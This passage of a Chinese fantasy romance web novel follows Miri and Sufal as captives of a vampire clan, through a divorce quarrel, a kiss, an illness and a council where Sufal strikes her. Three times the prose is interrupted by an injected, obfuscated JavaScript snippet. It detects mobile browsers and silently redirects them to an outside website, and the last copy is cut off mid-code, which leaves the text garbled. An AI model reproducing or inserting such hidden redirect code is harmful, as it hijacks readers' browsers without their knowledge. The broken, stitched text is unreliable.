咪莉哼了一声,又缩回去身子,抱着膝盖用手指头无聊地在地板上划来划去。 苏法尔说:“在拿到我想要的东西时,我听到了希洛博伊和他秘书的对话,内容吸引了我,所以我就躲在那里听了一会儿。” 咪莉问他:“他们说什么?”能吸引苏法尔的内容,一定是很重要的事。 “这个先放一放,我先跟你说我来这里要取什么东西。”苏法尔咬了一小口三明治,这样才能快点咀嚼完咽下去,让咪莉少等一会儿。 咪莉点点头:“对,这个问题我也想问你的。” “你听过弗兰撒珠吗?” “那是什么?”她向门板侧了侧脸。 苏法尔无波无浪的声音沉沉响起:“弗兰撒珠是一颗眼泪幻化成的宝石,它有令人起死回生的魔法。” 咪莉瞬间就听懂了:“啊,你想找弗兰撒珠复活你父亲?可是不是要圣女神力吗?” 他吃了一口奶香味道浓郁的草莓奶油说:“复活的话两者不可缺其一,弗兰撒珠和圣女神力我都需要。” 原来是这样,但是她更觉得不可思议了,这里可是一百多年以前,苏法尔怎么会知道这么久以前的弗兰撒珠消息? 他难道神通广大到已经开了天眼吗? 咪莉有些不解又有些迫切想知道真相地从地上爬起来跪在门前,露着滚圆的眼睛看他:“你怎么知道一百多年以前弗兰撒珠在哪里的消息?” 回应她的是苏法尔嘴巴里塞满食物说不出话的含糊声音:“唔?” 咪莉扶额:“你慢慢吃,吃好了再说吧。” 苏法尔喝了口酸甜果汁顺了顺,然后他说:“弗兰撒珠的消息我一直都在找,所以从它的来历以及所有流落地我都知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277998|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向咪莉:“其实在不久之前我就已经知道弗兰撒珠的踪迹,只是要格雷再确认一遍,但还没来得及,就变成了我们现在这种情况。” 咪莉似懂非懂地眨眨眼,他又道:“既然这里的弗兰撒珠离自己更近,我就来碰碰运气。” 咪莉想起他刚刚说的话,问道:“所以是成功拿到了对吗?和那个什么希洛……” 她抿起眉头苦恼地回想那个听过但不记得的名字。 “希洛博伊。” “对,你在这里取的弗兰撒珠和他有关吗?” 苏法尔轻轻点头:“弗兰撒珠是我在他房间里偷的。” 在他房间里偷的。 偷的。 等等,偷的? 咪莉的表情就像一台机器卡壳了无法做出大表情那样呆滞,然后又想起奥倾今天说的话,说明苏法尔偷弗兰撒珠这件事已经被希洛博伊知晓:“这么说你惹上了希洛博伊?” 所以就算没有她,他被囚禁也是应该的啊!她放走了那些人类惹怒全血族,苏法尔偷人家东西惹怒希洛博伊,这下他俩可真是死定了。 苏法尔看着越来越不淡定的咪莉,出声道:“所以我们得尽快想办法脱身。” “对,得赶快想办法。”咪莉一屁股坐到地上咬着大拇指,脑子里一团混乱,这种不冷静的时刻能想出办法就怪了。 看着缩在地上一副绞尽脑汁模样的咪莉,苏法尔轻轻笑了笑,完全没有半分被囚禁等待审判的犯人模样:“咪莉,我晚上不想在这里睡。” 咪莉扭头看向他,黑黑的眼里闪着光,一头雾水。 然后,苏法尔拆了那道已经碎巴巴的木门从容走了出来,跟咪莉去了她被安排的房间。 至于咪莉为什么会答应,那是因为苏法尔捂着胸口闷闷咳嗽的样子实在凄惨,虽然很怀疑他有做戏的成分在,但受伤绝对是真的,为了逃出去她可不能让苏法尔病殃殃的。 如果有可能她一个人逃出去丢苏法尔在这里也不是不行,这样还能不让苏法尔取自己的神力伤害自己。 当然这只是痴人说梦,她完全不知道怎么回到自己时代的方法。 还有会不会被埃比茨那群家伙发现,这些她都懒得再去想了,她只想休息。 阴冷的深夜,整座庭院静谧到连虫鸣声都没有,隐藏在暗处的某道人影盯着咪莉和苏法尔两人共同回到房间后,身形一晃,已出现在一间办公室内。 “大人,他们一起回了房间。” “一起?”埃比茨从一本文件里抬起头,一只银丝眼镜架在他挺拔的鼻梁上,他垂眸若有所思片刻后,手中的金色钢笔敲了下桌面,发出“咚”的细微声音,“算了,继续盯着,有任何异常再告诉我。” 回到软床上的苏法尔沾到床就累得起不来了,咪莉看着他完全不想动的样子,也没有催他去洗澡什么了。 可能因为在冰凉的地板上坐了好大一会儿的原因,再加上使用了高级魔法,她觉得四肢酸痛无比,浑身无力,但还是强撑着意识去冲了个澡,换上新的棉垫和一套白色睡衣,坐到床边看着连被子都没来得及盖的苏法尔。 “喂,睡觉就要好好睡啊。”咪莉从他身下奋力抽出他压住的被子,然后掀开躺了进去,背对着他闭上眼睛。 没过几秒,她又起来关上天花板上的大灯,只留着墙壁上的幽幽烛灯。 她重新躺下后见苏法尔还是没什么动静,便摇摇头暗暗叹了口气,把另一边的被子盖到他身上。 但这时他却开口说话了:“我还没说,我在希洛博伊那里听到了什么话来迟了对吗?” 他这一提醒,咪莉倒是想起了她心里那些好多个问题,她躺下后把手搁在脸边:“嗯。” 苏法尔睁开眼来,平静到如一汪深潭:“我听到这个时空的圣女消息了。” 43.他说我们离婚吧 这个时空的圣女消息。 咪莉听到这几个字眼时大脑瞬间一片凌乱,完全没有了困意,她有些不太明白地问:“这是什么意思?” “就是这里刚被上天选中一位圣女降世。”苏法尔轻轻翻了个身,和咪莉面对着面,脸上的表情有一些看不太清的笑意,“我想等从这里出去后,我去找她。” 咪莉从床上坐起来,一言不发地看着他。 听他的意思,是想要找备用神力了?取神力不是要求必须和圣女结为夫妻吗?而且可以把这个时空的人带到一百年多后吗? 还有苏法尔如果选择了另一名圣女,那她呢?是不是就可以和苏法尔解除婚约了? 她正想着许许多多,苏法尔便开口证实了她的想法。 “咪莉,我们离婚吧。”苏法尔躺在那里,轻飘飘地说着,就好像在说“我们吃饭吧”那样平淡。 咪莉的表情瞬间有些动荡,心情竟然不是她认为该有的喜悦,而是心猛地下沉,掉落无尽的深海,激起一圈圈震荡的涟漪。 她掩饰住自己的不对劲,凑近些身子震惊地问:“你这么快就决定好了?万一人家不要你呢?就算你有钱有能力,也不是每个女孩子都会嫁给一个根本不认识的人啊。” 苏法尔眨了眨眼,脸上是一贯自信从容的笑:“只要我给够她好处,她会答应的,如果她不答应……” “不答应你就怎么样?”咪莉鄙视地瞟了他一眼,按耐住心底升腾起的莫名戾气,“还要当恶霸强娶人家吗?” 他的笑容变得有些邪恶:“这确实是我准备的方法。” 咪莉顿时气不打一处来,抄起手边的白色枕头就往他身上砸:“你这个混蛋啊!简直就是无耻!” 砸了一下不解气,咪莉准备还想继续砸死他,却被苏法尔捉住了枕头说:“你不是该高兴吗?因为你一直都希望和我离婚的。” “我当然高兴和你离婚,生气是因为你坏到还要去残害其他无辜女孩子!”咪莉气呼呼地喘着气,从他手里扯着枕头。 他不放枕头,眼里有些迷惑:“可这和你没有关系不是吗?你和她又不认识,甚至连面都没见过。” “喂,我才不会像你这么没心没肺,就算是一个毫无关系的人受了伤我都会关心的。”咪莉瞪着他,终于从他手里抽出了枕头,也可以说是他松开了枕头。 但其实他说得对,苏法尔要怎样对待其他圣女和她没有一分关系,她所生气的点只是因为怀有大众同情心理,仅此而已。 咪莉心里越发得堵,她讨厌苏法尔这样轻率对她,讨厌他这样随意对待神圣的婚姻,他就是个该死的大混蛋,前脚才说完“我对我妻子绝对忠诚”,后脚就跟她说“我们离婚吧”,他的演技好到可以去当明星了,绝对票房大卖。 咪莉边摆弄枕头边这样心绪烦躁地想着,见苏法尔一直揣着胳膊躺在那里平静地看她,她更火大了,咬咬唇后,朝他身上踢过去,声音因为憋着怒气而有些尖锐:“我不要和你睡!你滚下去!” 她的力气算不上小,但面对的是身强力壮比她高一头还猛出许多的苏法尔,她的脚踢在他身上根本不能令他挪动半分,身体只是象征性地晃了几下。 她不知道自己究竟在愤怒什么,她只觉得眼前的人可恶到恨不得踹死他,脑子里有个充满怨气的声音叫嚣着掐死这个卑鄙无耻虚情假意的渣男。 苏法尔抓过她乱踹的脚腕,语气里竟然是一丝欢喜:“咪莉,你在生气?” “我没有!”咪莉挣扎着脚,他的掌心灼热,烫得她冰凉的脚竟有些温暖。 “那你说话声音为什么这么大?” “我说话声音本来就大!”咪莉见自己的脚动不了,扑过去掰他的手,可他的手指就像钢圈一样牢牢圈着自己的脚腕,她连个缝隙都插不进去。 苏法尔叹了口气:“口是心非的女孩子很不可爱哎。” 明明说着不可爱,眼里却是遮掩不住的欢喜,他的心情从来没有这样好过,那些堵塞的负面情绪终于逐渐散开。 “你管我可爱不可爱,你放手!”咪莉在他胳膊上乱打,打到他的胸口上时,他终于松开了咪莉的脚,闷闷地咳嗽了几声。 咪莉出了一身热汗,瞪着又在装柔弱可怜的他,丝毫不怜惜道:“下去,我不和你一起睡。” 苏法尔抬起有些虚弱的脸,他的眼睛是一片浓稠的黑,昏黄的光华覆在他精致窄小的脸庞上,嘴角翘着一个压不住的弧度。 他见无法再靠受伤获取咪莉的心软,就像只大型狼犬猛地起身扑向咪莉,将她压在了柔软的床铺之中,看着她星星点点般闪耀的眼眸,极其蔫坏地挑眉:“你就是在生气,生气我要和你离婚?还是生气我和其他圣女结婚?” 咪莉本来被他突如其来的偷袭动作吓得没反应,听到他的话后就像被踩到了尾巴一样浑身激动:“你胡说什么!我告诉你,你要是再不放开我,我就……” 她想不出什么能让苏法尔害怕的威胁,灵光一动下,把舌头伸出来抵在牙齿间,呜呜呀呀地说:“额够一树可几……” 发现他歪着头露出迷惑的神情,咪莉觉得自己就像个大傻子,收回舌头再次警告:“我就咬舌自尽!让你取不到神力救不了你父亲!” 苏法尔的笑变得有些阴险变态:“没事,你死了,我会找其他圣女,这不是正好有其他圣女消息?我也省的和你离婚了。” “啊啊啊啊!”混蛋混蛋,她怎么会遇到这种不要脸的臭男人! 苏法尔抓住她在自己胸前乱砸的两只手按到她的头顶,脸压低了些,浓密的睫毛给他的黑眸投下深邃的阴影,她的呼吸一进一出,铺洒在自己脸上,看见她微微瞪大警惕的眼睛,他忽然吻了上去。 柔软的双唇散发出淡淡芳甜,他贴着咪莉的身子,能清晰感受到隔着睡衣下她那颗如打鼓般的激烈心跳声。 咪莉大脑宕机了几秒,苏法尔的吻和他的掌心一样滚烫,她的嘴唇上落下来他的吻时就像被种下一颗火种一样,瞬间由她的唇燃遍自己全身每一个细胞,仿佛置身一片火海那样热到窒息。 她的脸颊发热,呼吸几乎停止,看着他近在眼前的这张漂亮到没有一丝缺点的脸,咪莉竟觉得这个吻很美好,美好到她刚刚心里所有没由来的暴躁情绪都被安抚了。 苏法尔微微移开了脸,凝视着双眼瞪大到炯炯有神的咪莉,语气有些惆怅:“接吻要闭眼睛啊。” 咪莉眨了眨闪亮眼睛,发觉自己刚刚热到窒息是因为自己忘了呼吸,等他再次碰上自己的双唇时,立刻张开嘴巴咬住他的下唇。 嗯,口感肉乎乎的,就像啃了一口六分熟的昂贵牛排。 “唔。”苏法尔吃痛地捂住自己的嘴巴,把手拿开一看,借着烛火暗光看见有一抹小小的血珠在指腹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290247|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>咪莉趁着他松手把他推开,骑到他腰上按住他的双肩,眸光凶狠到像极了准备宰杀大恶狼的屠夫:“你想做什么?” 他的眸色还是黑色,不是突然跑出来的纳罗,那苏法尔为什么要吻她? 苏法尔躺在他身下,两只胳膊分开摊在两侧,乖乖地毫无反抗反应,眼睛里闪烁着像小孩子的亮晶晶光华:“嗯……因为你看起来很好吃。” “你把我当食物吗还好吃!”咪莉揪起他的衬衫领子,心烦意乱地晃啊晃,“你这个流氓,知不知道你这叫非礼!” 他歪了歪脸,唇上的那颗血珠涨得更大,让他的脸增添了丝美丽的破碎感:“亲亲自己的老婆也不可以吗?” 看着苏法尔这张俊美非凡的脸做着无辜状,咪莉闭了闭眼。 她不能被美色迷惑,这个男人可是要跟自己离婚去找其他女孩子的渣男! 可是他说的话怎么这么耳熟?好像纳罗也说过类似的? 啊,难道他现在是纳罗假扮的苏法尔?! 一想到这个可能,咪莉赶紧捏着他尖尖的下巴翻来覆去的看。 眉毛眼睛鼻子脸型头发,毫无变化,瞳色也是稳定的浓黑。 但说不定是伪装呢?用了什么奇奇怪怪的易容魔法也说不定。 咪莉恶狠狠地瞪着一直老老实实当案板上的鱼某人,然后双手揪着他的衣领:“说,你是苏法尔还是纳罗!” 他笑了下:“怎么,只有纳罗这么对你才不会觉得奇怪?” 咪莉愣了愣,立马继续维持自己的一脸凶相,刚要说什么,他就用手背掩住自己的眼睛,声音变得忧伤起来:“咪莉,我好像生病了。” “别给我装。”咪莉重重打了一下他的胳膊,“我还没跟你算账。”然后她从他身上下来,把他往地上推。 苏法尔翻身搂着被子,小孩儿闹脾气一样:“我好像发烧了,脸好烫,身体也好烫。” 他这一说,咪莉才回味起来,刚刚苏法尔的手心和双唇确实灼热到不似正常人体温。 但她给不出什么好脸色,冷哼着去摸他的额头,发现竟烫到令她的手心害怕到立刻缩了回去。 “喂,你真的发烧了!”这个男人怎么这么体弱多病,真是麻烦。 咪莉不耐烦地下床,根本没注意到自己有多着急,她一溜烟就跑出了房门,去找埃比茨的手下要退烧药。 苏法尔吃下药后长叹着瘫在床上,咪莉也没赶他下床了,毕竟她做不出把一个病患撵去地上睡这种狠心的事。 “今天就放过你,不许再搞有的没的。”咪莉警告完他,关了灯,连墙壁上的烛灯也灭掉,摸着黑回到床上,掀被子的动作要多大有多大。 苏法尔用被子给自己盖了盖,抱怨道:“被窝里的热气都要被你扇没了。” 咪莉握着拳,告诉自己要忍耐,不要和一个病人计较。 但是等室内彻底安静下来,她平躺在床上,才意识到自己刚刚消耗了多少体力,她的四肢很累,小腹里更是难忍的冰痛感。 咪莉蜷缩起身子,皱着眉嘟嘟囔囔,她以前从来不痛经的,都怪这些日子以来一直神经紧绷,心情不稳定,苏法尔还一直折腾她。 唉,自从认识他,她好像就一直很倒霉啊,就按他说的吧,等回到自己的时空,和他离婚,从今以后再也不相见,管他利用谁谁谁结婚复活什么的,和她又有什么关系。 44.不知天高地厚的狗男女 “怎么了?”苏法尔的声音从黑暗中传来。 郁闷的咪莉不想搭理他,没有说话。 没过一会儿,他就从床的另一边靠了过来,从咪莉身后伸出一只手,绕过她的腰摸到了她放在小腹上的手:“肚子疼吗?” 他的手很大,掌心几乎包裹着她瘦软的小腹。 咪莉甩开他的手,顿时就来气了,撅起嘴巴:“都怪你啊,一直烦我,离我远点。” 不知为什么,她的鼻子忽然酸酸的,她很想念以前那些无忧无虑的日子,在学校里学习,回到家帮忙看店,奥倾忙完自己的工作会来找她一起吃饭,那些美好的记忆就像遥远的梦蒙着一层沙土那样再也不看不清了。 “对不起。”苏法尔轻轻说完,又贴了过来,把自己的手放在她的小腹上说,“我发着烧,手很热,我给你捂捂。” 怕咪莉不同意,他补充道:“就当我个是个暖手宝嘛,你也没损失,该用我的地方就用。” 说着他就把手钻进咪莉的睡衣里面,直接接触到她柔软紧致的小腹,话语声带着低沉:“这样更暖一些。” 咪莉咬紧了唇,逼退眼睛里的湿润,把脸埋在枕头上,眼角渗出的一点湿意融进了枕头上。她从鼻子里冷嗤一声,带着些哑音,倒是没再反抗,因为他的掌心确实很烫,覆在自己小肚子上时,疼痛感也立马消减许多,非常舒服。 但是不知道他是不是故意的,身子挨得很近,一只胳膊随意放在两人枕的枕头上,曲起的膝盖也轻轻抵着她的脚心。 他的呼吸声有些重,在自己头顶上缓慢地响起,她似乎还闻到了他身上清冽的冷香,但他身体明明像个火炉那么烫。 而且她自己好像也发烧了,不然为什么脸和耳朵都像烧起来一样,还有被他掌心覆盖着的地方,也是像被灼烧般火热,她感觉自己就像个被放在烤盘上的烤红薯,皮已经焦脆了,里面也已经软烂到流心。 咪莉有些不自然地清了清嗓子,苏法尔听见后问她舒服吗。 她草草点头,终于从记忆的碎片里挑出个合适的话题来驱散她烤红薯的幻想:“对了,我忘了告诉你,我今天见到了你的小时候,在牢里。” 苏法尔闭着眼睛,懒怠地应了一声,大拇指在她小肚子摩了摩。 咪莉轻轻打了一下他的手背:“你怎么都不关心你的小时候?他被可怜兮兮地关在天牢里哎!” 苏法尔蹭了蹭枕头,双眼依旧没有睁开:“这个时候他应该已经跟魔王在回魔界的路上了,死不了就行。” “哪有这样说自己的啊。”咪莉鼓起脸,摸向他放在自己小肚子上的手挠了挠,“不过你小时候可顺眼多了,眼睛圆圆的,头发还长,长得可乖了,就像我小学里特别喜欢的一个妹妹,懂事善良,还会关心人。” 苏法尔轻笑了声,嗓音里发出慵懒的声调:“嗯……这个时候我还不知道我的真实身世,当然还算善良。” “咦?”原来苏法尔身世这么曲折吗,咪莉往后侧了侧脸,“那你是什么时候知道的?” 没有人回答她。 咪莉不满地抓着他的手指晃了一下:“喂,不要装睡!” 苏法尔却把放在枕头上的那只胳膊放到了她的脖子下,小臂一弯,就将她圈在了怀里,而被窝里的那只手也揉揉她的小腹,投降般道:“咪莉,我好困,头也很晕,让我睡觉好吗?” 咪莉皱起脸,分辨不出他到底有没有说谎,但已经快到了凌晨,确实到了已经入梦的时间。 “哼,看在你是病患的份上,明天再盘问你。”咪莉在他怀里拱了拱,把枕着的胳膊摆弄了个不咯人的姿势进入了梦乡。 第二天一大早,倒是咪莉先清醒,她缩着身子蜷在一个体温炙热的怀抱里,眼皮微微睁开,便是一具胸肌鼓起的男人胸膛。 咪莉没有时间思考他什么时候把上衣脱了,抬起头打量着还在睡梦中的苏法尔。 他的鼻梁挺而窄,在半边脸上投下一片浅色阴影,碎发柔软地散在额头和枕头上,那只菱形耳钻折射出冰冷的暗光,让这张脸庞显得有些冷峻。 咪莉鬼使神差地伸出一根手指,去触碰他长长的浓密睫毛,见他颤了颤眼珠,连忙收回手等了一会儿。 他没有醒,她就像在他身上探索新事物一样又摸摸他脖子上的凸出喉结、深壑的锁骨、充满魅力的肌肉线条。 苏法尔喉结一滚,眼睛睁也不睁地把调皮作乱的咪莉紧紧搂进怀里,充满怨气地在她头顶迷迷糊糊说:“好不容易在做美梦,被你吵醒了。” “唔……”咪莉被他突如其来的举动吓得缩成了一团,声音埋在他的怀里闷闷的,她挣了挣,把脸露出来,看见的是他精致的下颚,“你醒了?” 她支支吾吾着,想把自己刚刚奇怪的举动盖过去,便仰起脸问他:“你身体好些了吗?” 苏法尔揉了揉自己那头有些凌乱的黑发:“我没事了。” 不愧是龙族血统,不仅发烧,就连昨天那要死不活的重创身子也好到活蹦乱跳了。 苏法尔洗了个澡,神清气爽地穿上洁白的衬衫和黑色长裤,脸上的小伤口也已经愈合不见疤,头发因为没有吹干还带有些湿润。 咪莉走到站在全身镜面前的苏法尔身后,不可思议地眨眼:“真厉害啊,不说别的,换我脸上划到口子也得一个月才能没疤呢。” 苏法尔穿上他的风衣外套,嘴角露出个谦虚的笑:“除了血统原因,也是因为自小就受伤惯了,所以好起来也会比别人更快些。” 咪莉怔怔地看着他,又想起了小苏法尔。 她歪了歪脸,正准备想继续昨晚的盘问,外面却突然闯进来两个脸色阴鸷的白脸黑发血族:“请两位跟我们走一趟。” 那充满杀意的眼神和咬牙切齿的语气,哪里有半分请的意味。 咪莉直觉等会儿可能要被大卸八块赔偿血族损失,下意识抓住了苏法尔的胳膊:“怎么办怎么办,我死了你就没办法……” 也不对,人家已经有了备用圣女选择。 咪莉在心里哀嚎,打算让可恶的苏法尔给她陪葬。 苏法尔倒是气定神闲,温文尔雅地冲闯进来的那两个颔首:“好的。” 跟着那两个血族的一路,咪莉都在四处观察寻找逃跑路线,发觉这里种植非常多,到处都是青翠挺拔的各类高大树木,虽然很利于隐藏身形,但也阻碍了她观察的视线范围。 咪莉沮丧地呼了口气,再看看苏法尔,人家揣着口袋信步闲庭,不像被押过去的犯人,更像优雅高贵的主人。 “喂,我们到底怎么逃走?”咪莉压低声音询问他,故意落后几步和前面那两个血族拉开些距离。 苏法尔看她一眼,眼里的光芒自信到让咪莉觉得他一定有万全之策,然而他却这样说:“我精神被纳罗消耗极大,恐怕难以和奥倾他们对抗,或许我们得在这里做一对落难夫妻了。” “谁要和你做落难夫妻啊!”咪莉气急败坏地提高了些音量,已经不顾忌那两个血族会不会听到他们对话了,“我要回家!” 苏法尔弯弯唇角,抚摸着她的脑袋:“别太生气了,没吃早餐小心低血糖昏倒。” 他说着乱七八糟不相干的话,咪莉打开他的手,怒气冲冲地走到了前头,当然心里还是不放弃找着什么路线逃走。 走过许多弯弯绕绕的路,经过一条平铺的大道,他们被带到了一个类似议事大殿的地方,粗壮却刻画着精美绝伦图案的罗马柱伫立在大殿之中,远处的黑色高座铺着一层柔软的黑天鹅绒,宝座上并没有人。 殿内站着两排身穿暗色系的贵族礼服的血族们,一排排精致小巧的扣子勾勒出他们修长身形,有的戴了礼帽,有的没有,他们的发色不是黑色就是棕色,少有几个是暗金色的,脸庞都异常年轻俊美。 只有最前头的两个披着黑色长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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咪莉抬头问苏法尔:“什么持久力会短?” 苏法尔微愣,看着咪莉,然后有些邪恶地勾起唇角,但是却不解释。 咪莉不耐烦地皱眉,被另一位长老打断思绪:“既然如此,也不浪费时间了,直接在祭坛烧死他们,我和伯恩会尽快重新安排新的祭品事宜。” 烧死?!这也太残忍了吧。 咪莉忍不住为自己争取:“能不能换个死法啊,有没有无色无味喝了不痛苦的毒药?把我们毒死也成。” 苏法尔无辜的“嗯?”了一声:“咪莉,放走祭品的是你,怎么我也要跟着你被毒死吗?” 咪莉瞪着他:“你不要想自己脱身,我告诉你,今天你就得陪我死。” “在冥极大殿齐聚议事,为何不上报我?” 大殿门口,一个身形挺拔的男人从一旁走了出来,他的金发颜色耀眼到闪闪发亮,浅金的眼眸也灿烂如阳,是这里唯一一个头发与眼眸颜色为明亮系的血族。 奥倾信步走进大殿之中,冷冽气势瞬间将两排血族逼得微微后退,他身后是跟着来的埃比茨,修长手指撩拨着耳边散落的一缕长发露出慵懒的微笑:“还能因为什么?不把你这个血族之王放在眼里呗,要我说干脆把这些没本事只会怨天尤人的窝囊废全拉出去一个个都烧死得了,免得我们这位小妹妹死得寂寞。” “埃比茨你少猖狂!” 一名前排的血族看了看脸色已经极为难看的长老,怒斥着埃比茨:“别以为你是奥倾朋友就可以肆无忌惮!” 埃比茨无趣地哼了一声,然后看向咪莉,顿时变得兴致勃□□来。 咪莉看着这个笑得像书里邪恶大反派的埃比茨,立刻浑身一抖地往苏法尔身后躲躲,然后再悄悄地望向朝宝座方向走去的奥倾。 45.什么家暴,这是杀人 在咪莉印象中,奥倾总是文质彬彬的温和形象,虽然偶尔会很幼稚地捉弄她,但从来不会这样冷漠到不近人情。 他的身躯高大,披着黑色落地披风,腰间的金色丝带穗子垂在皮带两边,浓黑色的玉石纽扣光滑反光,眼角眉梢都是高高在上不可一世的意气模样。 他坐在宽大华丽的宝座里,宝座就像是为他量身定制一样,恰好可以让他慵懒地将一只手臂搭在扶手上面支着下巴,半垂的睫毛掩着他的双眸,若有所思地说:“各位担心的情况其实不必太过焦虑,我已经有办法改善我们血族的生存,只是还需要时间证实,希望大家能心平气和地讨论。” 他的话一出,底下众人都震惊地张大了嘴巴。 “什么方法?”伯恩长老声调沉稳地问道,但眼里却满含对奥倾的蔑视。 奥倾像是看不到一样,对伯恩展现出一个和善可亲的笑:“伯恩长老,这个我还不方便透露,不过请尽管放心,我作为新王,一定会给大家一个美好的未来,让我们所有血族都生活在一个健康的环境之中。” 他的语气太过坚定,充满无形的力量,让人不由自主地便想拥护信任,上一任血族之王由于品行不端,荒诞不经,祸害人界,被光明神殿的骑士长大人钉死在烈火之中,还有不少在人界为非作歹的血族也因此被抓去焚烧,部分命大的则惶惶不安地逃回不夜城。 而如今的奥倾作为为数不多的先祖之一,就是他们不得不倚靠的新王。 “殿下,我们相信您,但是这次的祭品被放事件,也需要给我们一个合理的解决方法,尤其这个女人,必须严惩不贷。” 一名棕色短发红眼睛的血族男人面露阴狠地瞥了一眼咪莉,眼中的嗜血状态几乎已经将咪莉吸干了全身血液。 咪莉被这种毫不遮掩的恶意眼神看得极为不舒服,浑身发毛,她朝宝座上看去,正好与奥倾四目相接。 她的心猛地一颤,但不知具体原因,可能是因为他的眼神太淡漠,漠然到如寒霜侵蚀着她的肌肤。 奥倾沉默地看着这个总是莫名乱他心神的女孩几秒,随后对那名血族也是对底下所有人道:“她不过是一个年少无知的小女孩,杀了她也无济于事,当然我也不会轻易放过她。” 这时苏法尔轻声笑了一下,像是轻讽:“那么你想怎么惩罚我的妻子呢?” 奥倾回他一笑:“惩罚倒谈不上,只是想请这位小姐留在血族,去黑暗殿堂为我们血族祈福半年就行。” 苏法尔微微眯眸,还没说什么,那名先前要严惩咪莉的血族又道:“这算什么惩罚?不给她一个教训,我们血族颜面何在?必须要把她架在十字架上烧死。” “你是殿下还是奥倾是殿下?你上去坐?”埃比茨不冷不热的声音讽刺着他。 “你!”他气得那张白脸又白了好几个度。 咪莉看着这几个讨论如何严惩自己的人,直觉头大,不过也暗含一丝庆幸,起码还能有活命的机会。 而且意外地发现,奥倾似乎并不是那种会为了血族去血祭一个无辜人类的君王,不然他现在根本不用保自己的。 但其实也说不定,为了血族生存,对他来说,牺牲她一个人也是很划得来的买卖。 咪莉晃晃混沌的脑子,重新看向奥倾,发现奥倾也在看着他,他们隔得很远,那张熟悉的脸就像在看待一个陌生人一样毫无感情。 心里有一团棉絮般在堵着她的呼吸口,往日的那些点点滴滴似乎在见到他那一刻又开始鲜活了起来,像一片片锋利的玻璃碎片捻在她的心房上,疼得整颗心都在流血颤抖。 在咪莉沉浸在恍惚的失意中时,苏法尔悄悄握住了她的手,拇指在她手心似乎轻轻擦过。 咪莉不解地看向他,他微微睁大了些眼睛,黑眸闪亮得像两颗电灯泡,纯净得就像个孩子。 咪莉心烦地甩开他的手。 这个时候还跟她炫耀那什么纯洁无害的大眼睛啊,还嫌她现在不够着急吗,她可不想在这里做什么祈福,她等不了几个月。 被嫌弃的苏法尔暗暗叹口气,刚刚那个一直咄咄逼人的血族又开始发言了:“这个女人不能放过,她的男人也不能放过!” 苏法尔看向他眨眨眼道:“那不行,我可不能留在这里浪费时间。” 咪莉不可思议地抬起头望向他。苏法尔这是什么意思?这话听着怎么有种要丢下她自己离开的意思?不是说好了要和她共同担负给血族带来的损失吗? 这家伙果然只是嘴上说说啊,到了生死关头就会把自己摘的干净拍拍屁股走人。 苏法尔有些歉意地对咪莉说:“咪莉,你知道的,我还有很重要的事情要完成,我不能陪你在这里祈福数月。” 咪莉不甘愤懑地抓着他的衣领使劲儿晃:“苏法尔!你果然是个言而无信虚伪狡猾的大坏蛋!” 亏她昨天还好心给苏法尔送吃的带他去暖和的房间里睡觉,病了还喂他药,早知道就该让他一个人在那冰冷的杂物间饿死病死!不,或许在沙漠里时就该趁他睡着把他掐死! 苏法尔抓住她那两只紧绷到指骨泛白的拳头,嘴角露出不怀好意的一个笑:“而且咪莉,你知道我的秘密,我放心不下你留在这里。” 什么秘密?她怎么不知道? 咪莉简直是满脑子浆糊,难道是双人格这件事?还是复活计划这件事? 埃比茨懒懒散散的腔调又响了起来:“所以你想怎么办?” 众人都看着站在中央的苏法尔和咪莉,虽然心里很想把他们都烧死,但奥倾已经发话,他们也不想多做纠缠,只要能有完善的后续处理就行。 苏法尔似是苦恼地歪了歪脸:“我肯定是要离开的,但他们又不放你走……” 他皱着眉头发愁的样子就好像想不出变成大帅哥这道炼金术溶液的完美调配比例,然后他“啊”了一声,恍然大悟道:“把你杀了就好了!” 他根本不给在场所有人反应,抬手凝聚一团黑光便朝咪莉的心口打去,这一击出手得快准狠,别说咪莉,就是奥倾恐怕都无法及时躲避。 咪莉就像个被打出去的一只小鸡仔扑棱着双臂,双眼瞪得大大的,不可置信地看着苏法尔那张打完她后还笑盈盈的脸。 她落在一个没有温度的怀抱里,坐在王座上的奥倾不知何时闪到了咪莉身后接过她落在地上。 “还好吗?”奥倾抱着她,低头问她,她的脸色已经煞白,双眸仍紧紧盯着苏法尔的方向。 埃比茨的位置也变化了些,但见到奥倾出手后他便退了回去,一贯冷笑的脸也忍不住惊诧地看着苏法尔,要知道这个男人昨天可还是一副忠诚可靠的好男人模样。 “苏法尔……”咪莉喊着他的名字,心口立马撕扯般一样生疼,她呼吸不稳地咳嗽了好几声,又是震惊又是愤怒地看着他,“你……你居然……” 你居然动手打我!你这个忘恩负义过河拆桥的混蛋! 